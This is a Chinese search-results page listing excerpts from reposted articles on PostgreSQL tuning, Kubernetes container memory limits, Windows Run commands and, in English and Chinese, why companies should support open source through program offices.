[work_mem]的搜索结果

... 2.2 work_mem不足 work_mem定义了每个SQL查询可以使用的内存量，对于复杂的排序、哈希操作等至关重要。过低的work_mem设定可能导致大量临时文件生成，进一步降低性能。 postgresql -- 调整work_mem大小 work_mem = 64MB -- 根据实际业务负载进行合理调整 3. 配置失误导致的故障案例 3.1 max_connections设置过高 max_connections参数限制了PostgreSQL同时接受的最大连接数。如果设置得过高，却没考虑服务器的实际承受能力，就像让一个普通人硬扛大铁锤，早晚得累垮。这样一来，系统资源就会被消耗殆尽，好比车票都被抢光了，新的连接请求就无法挤上这趟“网络列车”。最终，整个系统可能就要“罢工”瘫痪啦。 postgresql -- 不合理的高连接数设置示例 max_connections = 500 -- 若服务器硬件条件不足以支撑如此多的并发连接，则可能引发故障 3.2 日志设置不当造成磁盘空间耗尽 log_line_prefix、log_directory等日志相关参数设置不当，可能导致日志文件迅速增长，占用过多磁盘空间，进而引发数据库服务停止。 postgresql -- 错误的日志设置示例 log_line_prefix = '%t [%p]: ' -- 时间戳和进程ID前缀可能会使日志行变得冗长 log_directory = '/var/log/postgresql' -- 如果不加以定期清理，日志文件可能会撑满整个分区 4. 探讨与建议 面对PostgreSQL的系统配置问题，我们需要深入了解每个参数的含义以及它们在不同场景下的最佳实践。优化配置是一个持续的过程，需要结合业务特性和硬件资源来进行细致调优。 - 理解需求：首先，应了解业务特点，包括数据量大小、查询复杂度、并发访问量等因素。 - 监控分析：借助pg_stat_activity、pg_stat_bgwriter等视图监控数据库运行状态，结合如pgBadger、pg_top等工具分析性能瓶颈。 - 逐步调整：每次只更改一个参数，观察并评估效果，切忌盲目跟从网络上的推荐配置。 总结来说，PostgreSQL的强大性能背后，合理的配置是关键。要让咱们的数据库系统跑得溜又稳，像老黄牛一样可靠，给业务发展扎扎实实当好坚强后盾，那就必须把这些参数整得门儿清，调校得恰到好处才行。

...namespace mem-example 配置内存申请和限制 给容器配置内存申请，只要在容器的配置文件里添加resources:requests就可以了。配置限制的话， 则是添加resources:limits。 本实验，我们创建包含一个容器的Pod，这个容器申请100M的内存，并且内存限制设置为200M，下面 是配置文件： memory-request-limit.yaml apiVersion: v1kind: Podmetadata:name: memory-demospec:containers:- name: memory-demo-ctrimage: vish/stressresources:limits:memory: "200Mi"requests:memory: "100Mi"args:- -mem-total- 150Mi- -mem-alloc-size- 10Mi- -mem-alloc-sleep- 1s 在这个配置文件里，args代码段提供了容器所需的参数。-mem-total 150Mi告诉容器尝试申请150M 的内存。 创建Pod: kubectl create -f https://k8s.io/docs/tasks/configure-pod-container/memory-request-limit.yaml --namespace=mem-example 验证Pod的容器是否正常运行: kubectl get pod memory-demo --namespace=mem-example 查看Pod的详细信息: kubectl get pod memory-demo --output=yaml --namespace=mem-example 这个输出显示了Pod里的容器申请了100M的内存和200M的内存限制。 ...resources:limits:memory: 200Mirequests:memory: 100Mi... 启动proxy以便我们可以访问Heapster服务： kubectl proxy 在另外一个命令行窗口，从Heapster服务获取内存使用情况： curl http://localhost:8001/api/v1/proxy/namespaces/kube-system/services/heapster/api/v1/model/namespaces/mem-example/pods/memory-demo/metrics/memory/usage 这个输出显示了Pod正在使用162,900,000字节的内存，大概就是150M。这很明显超过了申请 的100M,但是还没达到200M的限制。 {"timestamp": "2017-06-20T18:54:00Z","value": 162856960} 删除Pod: kubectl delete pod memory-demo --namespace=mem-example 超出容器的内存限制 只要节点有足够的内存资源，那容器就可以使用超过其申请的内存，但是不允许容器使用超过其限制的 资源。如果容器分配了超过限制的内存，这个容器将会被优先结束。如果容器持续使用超过限制的内存， 这个容器就会被终结。如果一个结束的容器允许重启，kubelet就会重启他，但是会出现其他类型的运行错误。 本实验，我们创建一个Pod尝试分配超过其限制的内存，下面的这个Pod的配置文档，它申请50M的内存， 内存限制设置为100M。 memory-request-limit-2.yaml apiVersion: v1kind: Podmetadata:name: memory-demo-2spec:containers:- name: memory-demo-2-ctrimage: vish/stressresources:requests:memory: 50Milimits:memory: "100Mi"args:- -mem-total- 250Mi- -mem-alloc-size- 10Mi- -mem-alloc-sleep- 1s 在配置文件里的args段里，可以看到容器尝试分配250M的内存，超过了限制的100M。 创建Pod: kubectl create -f https://k8s.io/docs/tasks/configure-pod-container/memory-request-limit-2.yaml --namespace=mem-example 查看Pod的详细信息: kubectl get pod memory-demo-2 --namespace=mem-example 这时候，容器可能会运行，也可能会被杀掉。如果容器还没被杀掉，重复之前的命令直至 你看到这个容器被杀掉： NAME READY STATUS RESTARTS AGEmemory-demo-2 0/1 OOMKilled 1 24s 查看容器更详细的信息: kubectl get pod memory-demo-2 --output=yaml --namespace=mem-example 这个输出显示了容器被杀掉因为超出了内存限制。 lastState:terminated:containerID: docker://65183c1877aaec2e8427bc95609cc52677a454b56fcb24340dbd22917c23b10fexitCode: 137finishedAt: 2017-06-20T20:52:19Zreason: OOMKilledstartedAt: null 本实验里的容器可以自动重启，因此kubelet会再去启动它。输入多几次这个命令看看它是怎么 被杀掉又被启动的： kubectl get pod memory-demo-2 --namespace=mem-example 这个输出显示了容器被杀掉，被启动，又被杀掉，又被启动的过程： stevepe@sperry-1:~/steveperry-53.github.io$ kubectl get pod memory-demo-2 --namespace=mem-exampleNAME READY STATUS RESTARTS AGEmemory-demo-2 0/1 OOMKilled 1 37sstevepe@sperry-1:~/steveperry-53.github.io$ kubectl get pod memory-demo-2 --namespace=mem-exampleNAME READY STATUS RESTARTS AGEmemory-demo-2 1/1 Running 2 40s 查看Pod的历史详细信息: kubectl describe pod memory-demo-2 --namespace=mem-example 这个输出显示了Pod一直重复着被杀掉又被启动的过程: ... Normal Created Created container with id 66a3a20aa7980e61be4922780bf9d24d1a1d8b7395c09861225b0eba1b1f8511... Warning BackOff Back-off restarting failed container 查看集群里节点的详细信息： kubectl describe nodes 输出里面记录了容器被杀掉是因为一个超出内存的状况出现： Warning OOMKilling Memory cgroup out of memory: Kill process 4481 (stress) score 1994 or sacrifice child 删除Pod: kubectl delete pod memory-demo-2 --namespace=mem-example 配置超出节点能力范围的内存申请 内存的申请和限制是针对容器本身的，但是认为Pod也有容器的申请和限制是一个很有帮助的想法。 Pod申请的内存就是Pod里容器申请的内存总和，类似的，Pod的内存限制就是Pod里所有容器的 内存限制的总和。 Pod的调度策略是基于请求的，只有当节点满足Pod的内存申请时，才会将Pod调度到合适的节点上。 在这个实验里，我们创建一个申请超大内存的Pod，超过了集群里任何一个节点的可用内存资源。 这个容器申请了1000G的内存，这个应该会超过你集群里能提供的数量。 memory-request-limit-3.yaml apiVersion: v1kind: Podmetadata:name: memory-demo-3spec:containers:- name: memory-demo-3-ctrimage: vish/stressresources:limits:memory: "1000Gi"requests:memory: "1000Gi"args:- -mem-total- 150Mi- -mem-alloc-size- 10Mi- -mem-alloc-sleep- 1s 创建Pod: kubectl create -f https://k8s.io/docs/tasks/configure-pod-container/memory-request-limit-3.yaml --namespace=mem-example 查看Pod的状态: kubectl get pod memory-demo-3 --namespace=mem-example 输出显示Pod的状态是Pending，因为Pod不会被调度到任何节点，所有它会一直保持在Pending状态下。 kubectl get pod memory-demo-3 --namespace=mem-exampleNAME READY STATUS RESTARTS AGEmemory-demo-3 0/1 Pending 0 25s 查看Pod的详细信息包括事件记录 kubectl describe pod memory-demo-3 --namespace=mem-example 这个输出显示容器不会被调度因为节点上没有足够的内存： Events:... Reason Message------ -------... FailedScheduling No nodes are available that match all of the following predicates:: Insufficient memory (3). 内存单位 内存资源是以字节为单位的，可以表示为纯整数或者固定的十进制数字，后缀可以是E, P, T, G, M, K, Ei, Pi, Ti, Gi, Mi, Ki.比如，下面几种写法表示相同的数值：alue: 128974848, 129e6, 129M , 123Mi 删除Pod: kubectl delete pod memory-demo-3 --namespace=mem-example 如果不配置内存限制 如果不给容器配置内存限制，那下面的任意一种情况可能会出现： 容器使用内存资源没有上限，容器可以使用当前节点上所有可用的内存资源。 容器所运行的命名空间有默认内存限制，容器会自动继承默认的限制。集群管理员可以使用这个文档 LimitRange来配置默认的内存限制。 内存申请和限制的原因 通过配置容器的内存申请和限制，你可以更加有效充分的使用集群里内存资源。配置较少的内存申请， 可以让Pod跟任意被调度。设置超过内存申请的限制，可以达到以下效果： Pod可以在负载高峰时更加充分利用内存。 可以将Pod的内存使用限制在比较合理的范围。 清理 删除命名空间，这会顺便删除命名空间里的Pod。 kubectl delete namespace mem-example 译者：NickSu86 原文链接 本篇文章为转载内容。原文链接：https://blog.csdn.net/Aria_Miazzy/article/details/99694937。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...2.dll,LockWorkStation：表示锁定计算机 11.colorcpl：颜色管理，配置显示器和打印机等中的色彩 12.CompMgmtLauncher：计算机管理 13.compmgmt.msc：计算机管理 14.credwiz：备份或还原储存的用户名和密码 15.comexp.msc：打开系统组件服务 16.control：控制面版 17.dcomcnfg：打开系统组件服务 18.Dccw：显示颜色校准 19.devmgmt.msc：设备管理器 20.desk.cpl：屏幕分辨率 21.dfrgui：优化驱动器 Windows 7→dfrg.msc：磁盘碎片整理程序 22.dialer：电话拨号程序 23.diskmgmt.msc：磁盘管理 24.dvdplay：DVD播放器 25.dxdiag：检查DirectX信息 26.eudcedit：造字程序 27.eventvwr：事件查看器 28.explorer：打开资源管理器 29.Firewall.cpl：Windows防火墙 30.FXSCOVER：传真封面编辑器 31.fsmgmt.msc：共享文件夹管理器 32.gpedit.msc：组策略 33.hdwwiz.cpl：设备管理器 34.inetcpl.cpl：Internet属性 35.intl.cpl：区域 36.iexpress：木马捆绑工具，系统自带 37.joy.cpl：游戏控制器 38.logoff：注销命令 39.lusrmgr.msc：本地用户和组 40.lpksetup：语言包安装/删除向导，安装向导会提示下载语言包 41.lusrmgr.msc：本机用户和组 42.main.cpl：鼠标属性 43.mmsys.cpl：声音 44.magnify：放大镜实用程序 45.mem.exe：显示内存使用情况(如果直接运行无效，可以先管理员身份运行命令提示符，在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt，里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。) 46.MdSched:Windows内存诊断程序 47.mmc：打开控制台 48.mobsync：同步命令 49.mplayer2：简易widnows media player 50.Msconfig.exe：系统配置实用程序 51.msdt：微软支持诊断工具 52.msinfo32：系统信息 53.mspaint：画图 54.Msra：Windows远程协助 55.mstsc：远程桌面连接 56.NAPCLCFG.MSC：客户端配置 57.ncpa.cpl：网络连接 58.narrator：屏幕“讲述人” 59.Netplwiz：高级用户帐户控制面板，设置登陆安全相关的选项 60.netstat : an(TC)命令检查接口 61.notepad：打开记事本 62.Nslookup：IP地址侦测器 63.odbcad32：ODBC数据源管理器 64.OptionalFeatures：打开“打开或关闭Windows功能”对话框 65.osk：打开屏幕键盘 66.perfmon.msc：计算机性能监测器 67.perfmon：计算机性能监测器 68.PowerShell：提供强大远程处理能力 69.printmanagement.msc：打印管理 70.powercfg.cpl：电源选项 71.psr：问题步骤记录器 72.Rasphone：网络连接 73.Recdisc：创建系统修复光盘 74.Resmon：资源监视器 75.Rstrui：系统还原 76.regedit.exe：注册表 77.regedt32：注册表编辑器 78.rsop.msc：组策略结果集 79.sdclt：备份状态与配置，就是查看系统是否已备份 80.secpol.msc：本地安全策略 81.services.msc：本地服务设置 82.sfc /scannow：扫描错误并复原/windows文件保护 83.sfc.exe：系统文件检查器 84.shrpubw：创建共享文件夹 85.sigverif：文件签名验证程序 86.slui：Windows激活，查看系统激活信息 87.slmgr.vbs -dlv ：显示详细的许可证信息 88.snippingtool：截图工具，支持无规则截图 89.soundrecorder：录音机，没有录音时间的限制 90.StikyNot：便笺 91.sysdm.cpl：系统属性 92.sysedit：系统配置编辑器 93.syskey：系统加密，一旦加密就不能解开，保护系统的双重密码 94.taskmgr：任务管理器(旧版) 95.TM任务管理器(新版) 96.taskschd.msc：任务计划程序 97.timedate.cpl：日期和时间 98.UserAccountControlSettings用户账户控制设置 99.utilman：辅助工具管理器 100.wf.msc：高级安全Windows防火墙 101.WFS：Windows传真和扫描 102.wiaacmgr：扫描仪和照相机向导 103.winver：关于Windows 104.wmimgmt.msc：打开windows管理体系结构(WMI) 105.write：写字板 106.wscui.cpl：操作中心 107.wuapp：Windows更新 108.wscript：windows脚本宿主设置 六、小结 键盘快捷键会大大提高使用效率，让你在外行面前显得更酷。持续更新中…感谢点赞，评论与转发，谢谢！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_44168588/article/details/121208530。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...t a dozen members on its project team. Most projects have far fewer developers working on them — and that presents a problem for the organizations that depend on them. Log4j的主页上展示了十几位项目团队的成员。而大多项目的开发人员要比其原本需要的少得多----这是高度依赖开发人员团队所呈现出来的问题。 “There is little incentive for anyone today to contribute to an existing open source project,” said Jeremy Stretch, distinguished engineer at NS1, a DNS network company. “There’s usually no direct compensation, and few accolades are offered — most users don’t even know who maintains the software that they use.” “如今的人没有什么动力去为现有的开源项目做贡献”，来自DNS网络公司NS1的杰出工程师Jeremy Strech说，“因为通常来说，这没有直接的物质回报，也很少提供荣誉----大多数用户甚至不知道他们所用的软件是谁维护的。” The most common motivation among open source contributors is to add a feature that they themselves want to see, he said. “Once this has been achieved, the contributor rarely sticks around.” 他说，开源贡献者们最常见的动机就是添加他们自己想要的功能。“一旦实现了这一点，他们几乎都不会留下来。” Meanwhile, as a project becomes more popular, the burden on the core team of maintainers keeps increasing. 与此同时，随着项目的逐渐流行，对于维护方面的核心团队来说，他们的负担也在不断增加。 “More users means more feature requests and more bug reports — but not more maintainers,” Stretch said. “What was once an enjoyable hobby can quickly become a tedious chore, and many maintainers understandably opt to simply abandon their projects altogether.” “更多的用户意味有着更多的功能需求和错误报告----但不是更多的维护人员”，Stretch说。“曾经令人愉快的爱好很快就会变成一项乏味的项目，所以很多维护人员选择干脆完全放弃他们的项目，这也是可以理解的。” Part1The Tragedy of the Commons The open source software ecosystem is a perfect example of the “tragedy of the commons.” 开源软件的生态系统，就是“公地悲剧”的一个完美例子。 And the tragedy is — when everyone uses, but no one contributes, that resource — whether it’s an overrun park or an open source project — eventually collapses from overuse and underinvestment. Everyone loves using free stuff, but everyone expects someone else to take care of it. 这个悲剧就是---当一种资源，无论是一个超限的公园还是一个开源项目，所有人都在使用而没有人贡献之时，最终都会因为过度使用和投入不足而崩溃坍塌。 This approach can save you money in the short term, but it can become a fatal flaw over time. Especially since open source software is everywhere, running everything. 这种方式可以在短期内为你节省资金，但随着时间的推移，它可能会变成项目里致命的缺陷。 Linux, for example, the open source operating system, runs on 96% of the world’s top 1 million servers, and 90% of all cloud infrastructure is on Linux. Not to mention that 85% of all smartphones in the world run Linux, in the form of the Android OS. 拿Linux来说，这个开源操作系统在全球前100万台服务器中运行率在96%以上，且这些服务器90%的云基础设施也都在Linux上。更不用说世界上85%的智能手机都运行着Linux，即Android操作系统。 Then there’s Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes — the list of ubiquitous open source projects goes on and on. 还有Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes--这些常见开源项目的列表还在逐渐增加着。 Without open source, much of today’s technical infrastructure would immediately grind to a halt. 如果没有开源，今天的大部分技术基础设施的建设也将会戛然而止。 “It is a real problem,” said Danil Mikhailov, executive director at Data.org, a nonprofit backed by the Mastercard Center for Inclusive Growth and The Rockefeller Foundation that promotes the use of data science to tackle society’s greatest challenges. “这是一个很现实的问题”，Data.org的执行董事Danil Mikhailov说，该组织是由万事达包容性发展中心和洛克菲勒基金会支持，旨在促进使用数据科学来应对当今社会所面临的巨大挑战的非营利性组织。 While nearly all organizations use open source software, only a minority contribute to those projects. Forty-two percent of participants in a survey released in September by The New Stack, Linux Foundation Research, and the TODO Group said tthey contribute at least sometimes to open source projects. 虽然几乎所有组织都在使用着开源软件，但只有少数组织为这些项目作出了贡献。The New Stack、Linux Foundation Research 和 TODO Group 在 9 月发布的一项调查中，42% 的参与者表示，他们至少有时会为开源项目做出贡献。 The same study showed that only 36% of organizations train their engineers to contribute to open source. 而同一项研究表明，只有36%的组织会培训他们的工程师为开源作出贡献。 Individual companies should support projects that they use the most and are critical to their success, Mikhailov said: “If you use, you contribute.” 个体公司应该支持贡献这些他们使用最多且对他们成功至关重要的项目，Mikhailov认为：“如果你使用开源，你就应该为他做出属于你自己的贡献。” Part2OSPO Benefits:Less Tech Debt,Better Recruiting Participating in open source communities — especially when guided by an in-house open source program office (OSPO) — can help ensure the health of projects critical to your organization’s success, improve those projects’ security, and allow your engineers to have more impact in the projects’ development road map. 参与开源社区——特别是在内部开源项目办公室（OSPO）的指导下——不仅可以保证对组织成功至关重要项目的健康发展，还可以提高项目安全性，同时可以允许工程师在项目发展规划中起到更大的影响。 Say, for example, a company uses an open source tool and modifies it a little to make it better. If that improvement isn’t contributed back to the community, then the official version of the open source project will start to diverge from what the company is using 例如，如果一家公司使用了开源工具，并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区，那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “You start to grow technical debt because when the original source changes and you’ve got a different version. Those differences grow rapidly, compounding daily. It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant,” said Suzanne Ambiel, director, open source marketing and strategy at VMware. “当原始代码来源发生变化且你所使用的是不同的版本时，你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示，“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “The technical debt gets bigger and bigger and it gets very expensive for a company to manage.” “如果技术负债越来越多，那么公司的管理成本则会非常昂贵”。 Support for open source activity can also be a recruiting tool. “It’s really a talent magnet,” said Ambiel. “It’s one of the things that new hires look for.” 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁，”Ambiel说，“这也是新员工所寻求的“。 Some engineering managers might worry that open source contributions will detract from core product development, she said. Their rationale, she added, might run along the lines of, “I only have so much talent, and so many hours, and I need them to only work on things where I can measure and see the return on investment.” 她还提到，一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到，他们的理由有可能是这样的：“我只有有限的才华与时间，且我需要这些只做我认为可以度量且看到投资回报的事情。” But that attitude, she said, is shortsighted. Supporting employees who contribute to open source communities can build skills and develop talent, she said. 但她说，这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工，可以从中培养技能与增长才华。 Loris Degionni, chief technology officer and founder at Sysdig, a cloud security vendor, echoed this notion: “Finding employees who contribute to open source is a gold mine,” said. 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点：“找出为开源做出贡献的员工无疑就找到一座金矿，”他说。 These employees are more capable of delivering features a company wants to use and merge them into community-supported standards, he said. And in a war for talent, companies that embrace open source are more attractive to developers. 他认为，这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中，拥抱开源的公司也更受到开发人员的青睐。 “Lastly, open source is driven by a community of technical experts you may not be able to hire,” he said. “When employees actively contribute and collaborate with these experts, they’ll be better informed of best practices and bring them back to your organization. “最后，开源项目是由你可能无法聘请的技术专家社区推动的”，他说，“当员工积极参与并于这些专家合作时，他们将能更好地深入这些最佳实践，并将这些收获带回到你的组织之中。” “You start to grow technical debt because when the original source changes and you’ve got a different version … It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant.” —Suzanne Ambiel, director, open source marketing and strategy, VMware “当原始数据来源发生变化且你所使用的是不同的版本时，你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。” — Suzanne Ambiel，VMware 开源营销和战略总监 “All of this should be rewarded — developers shouldn’t have to spend their free time honing their skills, as your company will quickly see benefits from their efforts.” “但是这一切终究不会白费--开发人员不应该把业余时间用在磨练他们的技能上，因为你的公司很快就会在他们的努力中看到好处。” An OSPO, Degionni suggested, can help achieve these goals, as well as help prioritize contributions and ensure collaboration. In addition, they can help provide governance that mirrors what companies would have for internally developed applications. Degionni认为，OSPO（开源计划办公室）可以帮助公司实现这些目标，以及帮助确定贡献的优先级并确保合作的进行。除此之外，他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “Members of the open source team are also in a position to be great internal evangelists for open source technologies, and act as bridges between the organization and the broader community,” he added. “开源团队的成员也可以成为开源技术的伟大内部布道师，并充当组织与更广泛社区之间的桥梁。”他补充道。 In the September survey from The New Stack, Linux Foundation Research and the TODO Group, nearly 53% of organizations with OSPOs said they saw more innovation as a result of having an OSPO, while almost 43% said they saw increased participation in external open source projects. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中，近 53% 的拥有 OSPO的组织表示，由于拥有了OSPO，他们看到了更多创新，而近 43% 的组织表示，他们在外部开源项目的参与度上有所增加。 Part3More OSPO Benefits:A Business Edge Contributing to open source communities doesn’t just help the communities, but the companies that contribute to them, said Tom Hickman, chief innovation officer at ThreatX, a cybersecurity firm. 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示，为开源社区做出贡献，不仅有助于社区，还有助于为社区做出贡献的公司。 “Growing the community of developers around a project helps the code base, and attracts more developers,” he said. “It can become a virtuous circle.” “围绕一个项目而发展的开发人员社区，有助于代码库的形成，并吸引更多的开发人员参与”，他说，“这可以变成一个良性循环。” Also, companies that contribute to open source projects get twice the productive value from their use of open source than companies that don’t, according to research by Harvard Business School. 此外，根据哈佛商学院的研究，为开源项目作出贡献的公司从使用开源的项目中获得的生产价值，是不参与开源项目公司的两倍。 Many of the biggest companies in the world are contributing to open source, said Chris Aniszczyk, chief technology officer at Cloud Native Computing Foundation. He pointed to the Open Source Contributor Index as a reference for exactly just how much companies are doing. Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说，世界上许多巨头公司都为开源作出了贡献。他还提到，开源贡献者的指数是作为公司是否有所作为的参考。 The tech giants dominate the list: Google, Microsoft, Red Hat, Intel, IBM, Amazon, Facebook, VMware, GitHub and SAP are the top 10 contributors, in that order. But there are also a lot of end users on the top 100 list, said Aniszczyk, including Uber, the BBC, Orange, Netflix, and Square. 科技巨头占据了这份榜单的主导地位：谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示，但也有很多终端用户公司进入前 100 名，包括 Uber、BBC、Orange、Netflix 和 Square。 “We’ve always known working in upstream projects is not just the right thing to do —it’s the best approach to open source software development and the best way to deliver open source benefits to our customers,” he said. “It’s great to see that IT leaders recognize this as well.” “我们一直知道，在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法，也是向客户提供开源福利的最佳方式“他说，“很高兴看到IT领导者们也认识到了这一点。” To contribute alongside these giants, companies need to have their own open source strategies, and having an open source program office can help. 为了和这些公司一起作出贡献，公司也需要有自己的开源策略，而拥有一个开源项目办公室则可以为其提供帮助。 “OSPOs provide a critical center of competency in a company when it comes to utilizing open source software,” he said. “在使用开源软件方面，OPSO为公司提供了一个至关重要的能力中心”他说。 It’s similar to the way that companies have security operations centers, he said. 这与公司拥有安全运营中心的方式类似，他说。 “Growing the community of developers around a project helps the code base, and attracts more developers. It can become a virtuous circle.” —Tom Hickman, chief innovation officer, ThreatX “围绕一个项目而发展的开发人员社区，有助于代码库的形成，并吸引更多的开发人员参与，这可以变成一个良性循环。” ——Tom Hickman，ThreatX 首席创新官 “If you don’t make the investment in a security team, you generally don’t expect your software to be secure or be able to respond to security incidents in a timely fashion,” he said. “如果你没有对安全团队进行相应投资，你通常是不会期望你的软件是安全的，也无法及时响应安全事件。”他说。 “The same logic applies to OSPOs and is why you see many leading companies out there such as Apple, Meta, Twitter, Goldman Sachs, Bloomberg, and Google all have OSPOs. They are ahead of the curve.” “同样的逻辑也适用于 OSPO，这就是为什么你会看到许多领先的公司，例如 Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” Support for open source activity within your organization can become a differentiator and marketing opportunity for software vendors. 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 According to a Red Hat survey released in February, 82% of IT leaders are more likely to select a vendor who contributes to the open source community. 根据Red Hat2月分发布的一项调查，82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 Respondents said that when vendors support open source communities they are more familiar with open source processes and are more effective if customers have technical challenges. 受访者表示，当供应商支持开源社区时，就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 But it’s not just software vendors who benefit. 但收益的不仅仅是软件供应商们。 According to September’s survey by The New Stack, Linux Foundation Research, and the TODO Group, 57% of organizations with OSPOs use them to further strategic relationships and build partnerships. 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查，57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 Mark Hinkle started an open source program office back when he worked at Citrix a decade ago. He pointed out how having an OSPO in-house benefited the company. 十年前，Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “For us the biggest job was to educate our employees who weren’t familiar with open source to get involved and be good community members,” he said. “We also provided guidance on how to make sure our IP didn’t enter projects without proper understanding and we made sure we didn’t incorporate open source that conflicted with our enterprise software licensing.” “对于我们来说，最大的工作是让不熟悉开源的员工学会并参与其中，成为优秀的社区成员”，他说，“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导，并确保我们没有与我们企业软件许可相冲突的开源项目合作。” The OSPO also helped Citrix identify strategic opportunities for the company to participate in open source projects and trade organizations like The Linux Foundation, he said. 他说，OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 Today, he’s the CEO and co-founder of TriggerMesh, a cloud native, open source integration platform. 如今，他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 There are some significant economic benefits to participating in the open source ecosystem, he said. 他说，参与开源系统对公司来说有着重大的经济效益。 “We participate in Knative to share the development of our underlying platform but we develop value-added services as part of our business,” he said. “By sharing the R and D for the platform, it gives us more resources to develop our own differentiated technology.” “我们参与Knative是为了分享我们基础底层平台的开发，但作为业务的一部分，我们也拥有相关的增值服务。”他说，“通过共享该平台的研发，这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4How to Get Started in Open Source Sixty-three percent of companies in the September survey from The New Stack, Linux Foundation Research and the TODO Group said that having an OSPO was very or extremely critical to the success of their engineering or product teams, up from 54% in the previous annual study. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中，有 63% 的公司表示，拥有OSPO 对其工程或产品团队的成功至关重要，高于上一年度该项研究数据的 54%。 In particular, 77% said that their open source program had a positive impact on their software practices, such as improved code quality. 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响，例如提高了代码质量。 But companies can’t always contribute to every single open source project that they use. 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “First, thin the herd a little bit,” advised VMware’s Ambiel. “首先，节流一下”，VMware 的 Ambiel 建议道。 Companies should look at the projects that make the most sense for their use cases. This is an area where an OSPO can help set priorities and ensure technical and strategic alignment. 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 Then, developers should go and check out the projects themselves. Projects typically offer online documentation, often with contributor guides, governance documents, and lists of open issues. 之后，开发人员应该自己去了解一下。项目通常提供相关在线文档，一般包含贡献着指南、治理文档和未解决问题列表。 “For the projects that rise to the top of your strategic list, introduce yourself — say hello,” she said. “Go to the Slack channel or the distribution list and ask where they need help. Maybe they don’t need help and everything is good. Or maybe they can use a new person to review code.” “对于那些上升到你的战略清单顶端的项目，你可以介绍一下自己----打个招呼”，她说。“然后转到Slack频道或者分发列表，询问他们需要帮助的地方。也许他们不需要帮助，一切完好；又或者他们也有可能使用新人来审查核验代码。” An open source program office can not only help make a business case for contributing to the open source community, Ambiel said, but can help companies do it in a way that’s safe, secure and sound. Ambiel 说，开源项目办公室不仅可以帮助制定为开源社区做出贡献的商业案例，还可以帮助公司以安全、可靠和健全的方式来做这件事。 “If I work for a company and want to contribute to open source, I don’t want to accidentally disclose, divulge or undermine any patents,” she said. “An OSPO helps you make smart choices.” “如果我为一家公司工作，并想为开源做出贡献，我不想意外披露、泄露或破坏任何专利，”她说。“而OSPO可以帮助您做出明智的选择。” An OSPO can also help provide leadership and the guiding philosophy about supporting open source, she said. “It can provide guidance, mentorship, coaching and best practices.” 她说，OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Commitment to support open source has to start at the top, said Anaïs Urlichs, developer advocate at Aqua Security. Aqua Security的开发人员倡导者Anaïs Urlichs则认为，支持开源的承诺必须从高层开始。 “Too often,” she said, “companies do not value investment into open source, so employees are not encouraged to contribute to it.” 她说，“公司在多数时候往往不重视对开源的投资，所以员工自然而然不被鼓励对此作出贡献。” In those cases, employees with a passion for open source end up contributing during their free time, which is not sustainable. 在这些情况下，员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽，这对于开源的发展来说是不可持续的。 “If companies rely on open source projects, it is important to make open source contributions part of an engineer’s work schedule,” she said. “Some companies define a time percentage that employees can contribute to open source as part of their normal workday.” 